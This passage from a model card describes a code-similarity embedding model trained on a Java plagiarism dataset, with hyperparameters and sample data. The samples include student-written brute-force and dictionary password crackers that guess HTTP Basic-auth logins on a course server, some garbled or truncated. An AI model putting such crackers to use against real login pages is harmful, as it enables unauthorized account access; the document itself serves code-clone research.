}\n\n \n \n else if (intWordLength\ + \ == 2) \n {\n\n intCountOfTwoLetterWords++;\n \ + \ strTwoLetterWords[intCountOfTwoLetterWords] = strLine;\n \ + \ }\n\n \n \n else if (intWordLength ==\ + \ 3)\n {\n intCountOfThreeLetterWords++;\n \ + \ strThreeLetterWords[intCountOfThreeLetterWords] = strLine;\n \ + \ }\n\n strLine = inTextFile.readLine();\n\n }\n\n }\n\ + \n catch(FileNotFoundException e)\n {\n\n \n \n\ + \ System.out.println();\n System.out.println(\"The file '\" +\ + \ TextFileName + \"' cannot found.\");\n System.out.println();\n\n \ + \ }\n\n catch(Exception e)\n {\n System.out.println(\"Exception\ + \ thrown....\");\n System.err.println(e);\n }\n\n finally\n\ + \ {\n\n try\n {\n inTextFile.print();\n \ + \ }\n catch(Exception e)\n {\n }\n\n inTextFile\ + \ = null;\n reader = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static\ + \ boolean passwordWasFound(String urlString,\n \ + \ String password,\n boolean retVal)\n \ + \ \n {\n\n String strEncodeInput = username + \":\" + password;\n \ + \ boolean returnValue = retVal;\n boolean boolExceptionThrown = false;\n\n\ + \n\n try\n {\n\n strLastPasswordTested = password;\n \n \ + \ intNumberOfConnectionAttempts++;\n\n url = new URL(urlString);\n\ + \n String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());\n\ + \n\n System.out.print(\"username = \" + \n username\ + \ + \n \" \" +\n \ + \ \"password = \" +\n password);\n\n\n\n HttpURLConnection\ + \ urlConnection = (HttpURLConnection)url.openConnection();\n\n urlConnection.setRequestProperty(\"\ + Authorization\", \n \" \" + encoding);\ + \ \n\n System.out.println(\" response = \" + urlConnection.getResponseCode());\n\ + \n if (urlConnection.getResponseCode() == 401)\n {\n \ + \ returnValue = false; \n }\n\n }\n\n catch (MalformedURLException\ + \ m)\n {\n boolExceptionThrown = true;\n returnValue = false;\n\ + \n System.err.println(m);\n System.out.println(\"Malformed URL\ + \ Exception error\");\n }\n\n catch (IOException io)\n {\n \ + \ boolExceptionThrown = true;\n returnValue = false;\n\n System.out.println(\"\ + IOException error\");\n System.err.println(io); \n }\n\n catch\ + \ (Exception e)\n {\n boolExceptionThrown = true;\n returnValue\ + \ = false;\n\n System.out.println(\"General exception.....\");\n \ + \ System.err.println(e); \n }\n\n finally\n { \n urlConnection\ + \ = null;\n url = null; \n }\n\n\n if (boolExceptionThrown)\n\ + \ {\n intExceptionCount++;\n strExceptionPassword[intExceptionCount]\ + \ = password;\n }\n\n\n return returnValue;\n\n }\n\n}" + - "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\ + public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\ + \ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\ + ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\ + wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\ + \ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \ + \ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\ + \" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\ + \ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\ + wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\ + \ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\ + \ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\ + \ if (newin.readLine() != null){\n System.out.println(\"\ + Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \ + \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \ + \ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ + \ }\n\n }\n\n}" +datasets: +- buelfhood/SOCO_TRAIN_java +pipeline_tag: sentence-similarity +library_name: sentence-transformers +--- + +# SentenceTransformer based on microsoft/unixcoder-base-unimodal + +This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. + +## Model Details + +### Model Description +- **Model Type:** Sentence Transformer +- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) +- **Maximum Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity +- **Training Dataset:** + - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-MNLR-Triplets-e10") +# Run inference +sentences = [ + 'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n \n public BruteForce(String strURL,String strUserName) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n }\n \n public String getPassword(){\n URL u;\n String result ="";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce BF = new BruteForce(arg[0],arg[1]);\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n \n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce ");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[] password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n password[0]++;\n\n try {\n for (int i=0; i 122) {\n password[i] = 65;\n password[i+1]++;\n }\n }\n }\n catch (RuntimeException re){\n throw new PasswordFailureException ();\n }\n return new String(password);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}', + 'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private String strUserName;\n private String strURL;\n private String strDictPath;\n private int iAttempts;\n\n \n public Dictionary(String strURL,String strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n }\n \n\n public String getPassword(){\n URL u;\n String result ="";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce ");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n try {\n {\n line = inputFile.readLine();\n }while (line.length() != iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}', + 'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println("ishti");\n\n System.out.println("Downloading first copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println("Downloading new copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n if (newin.readLine() != null){\n System.out.println("Sending Mail");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}', +] +embeddings = model.encode(sentences) +print(embeddings.shape) +# [3, 768] + +# Get the similarity scores for the embeddings +similarities = model.similarity(embeddings, embeddings) +print(similarities.shape) +# [3, 3] +``` + + + + + + + + + + + +## Training Details + +### Training Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 38,664 training samples +* Columns: anchor_code, positive_code, and negative_code +* Approximate statistics based on the first 1000 samples: + | | anchor_code | positive_code | negative_code | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | string | string | string | + | details |
  • min: 51 tokens
  • mean: 466.79 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 467.59 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 455.04 tokens
  • max: 512 tokens
| +* Samples: + | anchor_code | positive_code | negative_code | + |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + |

import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class Dictionary
{
public Dictionary()
{}

public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;






BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);

HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine())...
|

import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class BruteForce
{
public BruteForce()
{}

public boolean fetchURL(String urlString,String username,String password)
{
StringWriter = new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;






BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);

HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) ...
|

import java.net.*;
import java.io.*;
import java.util.*;

public class Dictionary{

private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;



public Dictionary() {

Authenticator.setDefault(new MyAuthenticator ());

startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{


}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) ...
| + |


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;





public class WatchdogPropertyHelper {

private static Properties testProps;



public WatchdogPropertyHelper() {
}




public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();

InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|



import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;




public class BruteForcePropertyHelper {

private static Properties bruteForceProps;



public BruteForcePropertyHelper() {
}




public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();

InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}

|







import java.io.*;
import java.net.*;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;

public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();

public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");

pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}

class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{

try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");


System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new Buf...
| + |
import java.net.*;
import java.io.*;
public class BruteForce {
private static String password=" ";


public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Error: Correct Format Filename, username e.g<>");
System.exit(1);
}
BruteForce bruteForce1 = new BruteForce();
Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("The Password of "+args[0]+"is.."+Result);

}



private String Password(String urlString,String username)
{
int cnt=0;

t0 = System.currentTimeMillis();
for ( char ch = 'A'; ch <= 'z'; ch++ )
{
if (ch>'Z' && ch<'a')
{
ch='a';
}

for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )
{

if (ch1>'Z' && ch1<'a')
{
ch1='a';
}


for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )
{
if (ch2>'Z' && ch2<'a')
{
...
|

import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";


public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}

Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);




}



private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;

try{
stream = new FileInputStream ("/usr/share/lib/dict/words");

word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{

password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("...
|
package java.httputils;

import java.io.IOException;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Iterator;


public class RunnableHttpRequest extends Thread
{
protected String targetURL = "http://localhost:8080/";
protected int requestCount = 1;
protected ArrayList timingList = new ArrayList();
protected HttpRequestClient req;
Boolean finished = new Boolean(false);
HttpRequestThreadPool pool;


public void run()
{
try
{
for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)
{
try
{
req =
new HttpRequestClient(getTargetURL());


}
catch (MalformedURLException e)
{
e.printStackTrace();
break;
}
catch (IOException e)
{
...
| +* Loss: [MultipleNegativesRankingLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters: + ```json + { + "scale": 20.0, + "similarity_fct": "cos_sim" + } + ``` + +### Evaluation Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 4,296 evaluation samples +* Columns: anchor_code, positive_code, and negative_code +* Approximate statistics based on the first 1000 samples: + | | anchor_code | positive_code | negative_code | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | string | string | string | + | details |
  • min: 51 tokens
  • mean: 465.86 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 465.32 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 458.73 tokens
  • max: 512 tokens
| +* Samples: + | anchor_code | positive_code | negative_code | + |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + |





import java.util.*;
import java.io.*;

public class WatchDog
{

public static void main(String args[])
{

Runtime rt1 = Runtime.getRuntime();
Process prss1= null;

try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}

MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);


}
}
|




import java.util.*;
import java.io.*;

public class MyTimer
{

public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);


}
}
| import java.net.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
import java.security.*;












public class Dictionary {
public static BufferedReader in;


public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES*1000*60;
boolean timedOut=false;
boolean found=false;


Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());







while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {

Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}

String password = "";

...
| + |


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

private static Properties testProps;

public MailsendPropertyHelper() {
}




public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();

InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}





|



import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;




public class BruteForcePropertyHelper {

private static Properties bruteForceProps;



public BruteForcePropertyHelper() {
}




public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();

InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}

|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient2 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private BruteForce myMaster;


public MyClient2(BruteForce bf , int num, int myPort, String password)
{

hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;

}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
...
| + | import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
public static void main (String args[])
{


Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();

String password=getPassword(startTime);
System.out.println("The password is " + password);
}

public static String getPassword(double startTime)
{
String password="";
int requests=0;

try
{

FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);

password=buf.readLine();

while (password != null)
{

if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}

password = buf.readLine();

}
}
catch (IOException ioe)
{

}

return password;
}

private static boolean testPassword(String password, double startTime, int requests)
{
try
{


U...
| import java.io.*;
import java.net.*;
import java.util.*;


public class BruteForce
{

public static void main(String args[])
{


Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();

String password=getPassword(startTime);
System.out.println("The password is " + password);
}

public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;


for (int i=65; i<123; i++)
{
requests++;
first = (char) i;

password = first + "";


if (testPassword(password, startTime, requests))
return password;

for (int j=65; j<123; j++)
{
requests++;
second = (char) j;

password = first + "" + second;


if (testPassword(password, startTime, requests))
return password;

for (int k=65; k<123; k++)
{
requests++;
third = (char) k;

password = first + "" + second + "" + third;


if (test...
|

import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;



public class Dictionary {

public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));

}catch(IOException ioe){
System.out.println("Error opening dictionary file:\n" +ioe);
}
}



private String url = null;

private String dictionaryPath = null;

private BufferedReader dict = null;

private int attempts = 0;

private int passwordSize = 3;

public void setPasswordSize(int size){
this.passwordSize = size;
}

public String getNextPassword()throws IOException{

String line = dict.readLine();

while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();

return line;
}

publ...
| +* Loss: [MultipleNegativesRankingLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters: + ```json + { + "scale": 20.0, + "similarity_fct": "cos_sim" + } + ``` + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `eval_strategy`: steps +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `num_train_epochs`: 1 +- `warmup_ratio`: 0.1 +- `fp16`: True +- `batch_sampler`: no_duplicates + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: steps +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1.0 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.1 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: True +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch +- `optim_args`: None +- `adafactor`: False +- 